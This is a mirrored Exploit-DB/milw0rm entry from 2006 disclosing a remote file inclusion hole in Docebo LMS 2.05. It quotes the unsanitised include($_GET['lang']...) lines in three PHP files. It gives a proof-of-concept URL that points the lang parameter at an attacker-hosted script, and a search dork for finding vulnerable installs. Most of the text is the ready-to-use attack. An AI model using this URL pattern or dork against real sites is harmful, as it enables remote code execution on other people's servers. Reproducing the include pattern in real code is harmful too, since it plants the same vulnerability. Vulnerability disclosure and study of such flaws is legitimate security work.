exploit-db-mirror/platforms/php/webapps/1828.txt
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

18 lines
499 B
Text
Executable file

Vulnerable Script: Docebo LMS 2.05
Discovered: beford <xbefordx gmail com>
Noobs: %22Based+on+DoceboLMS+2.0%22
Vulnerable Files
doceboLMS205/modules/credits/business.php =>
include($_GET['lang'].'/language.php');
doceboLMS205/modules/credits/credits.php =>
include($_GET['lang'].'/language.php');
doceboLMS205/modules/credits/help.php => include($_GET['lang'].'/language.php');
http://www.oops.org/DOCEBO205/modules/credits/help.php?lang=http://<evilh4x0rscript>/?
# milw0rm.com [2006-05-25]